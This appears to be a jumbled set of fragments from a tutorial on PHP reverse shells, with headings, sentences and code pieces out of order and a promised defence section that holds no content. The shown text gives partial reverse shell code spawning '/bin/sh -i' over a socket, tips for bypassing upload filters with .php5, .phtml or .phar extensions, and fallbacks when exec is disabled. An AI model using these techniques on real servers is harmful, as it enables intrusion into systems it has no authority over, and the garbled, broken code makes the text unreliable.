: The target web server executes the malicious or testing PHP script. This execution can happen via a file upload vulnerability, local file inclusion (LFI), or remote code execution (RCE) flaws.
Now, your reverse shell will function exactly like a standard SSH terminal session. How to Defend Against PHP Reverse Shells
$output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output_error = stream_get_contents($pipes[2]); fclose($pipes[2]); socket_write($sock, $output . $output_error); proc_close($process);
If the web app blocks .php uploads, attempt to bypass the filter using alternative extensions such as .php5 , .phtml , or .phar . 7. Remediation: Defending Against PHP Reverse Shells
If the PHP configuration disables exec and system , fall back to shell_exec or backticks:
$socket, // stdin is read from the socket 1 => $socket, // stdout is written to the socket 2 => $socket // stderr is written to the socket ); // Execute the system shell (sh or cmd.exe depending on the OS) $process = proc_open('/bin/sh -i', $descriptorspec, $pipes); if (is_resource($process)) // Keep the script running while the process is active proc_close($process); ?> Use code with caution. How the Script Functions:
Most modern networks block inbound connections to arbitrary ports. However, outbound connections (e.g., to web servers, email, or DNS) are generally allowed. A reverse shell exploits this asymmetry: the compromised server calls out to your listener, bypassing inbound restrictions.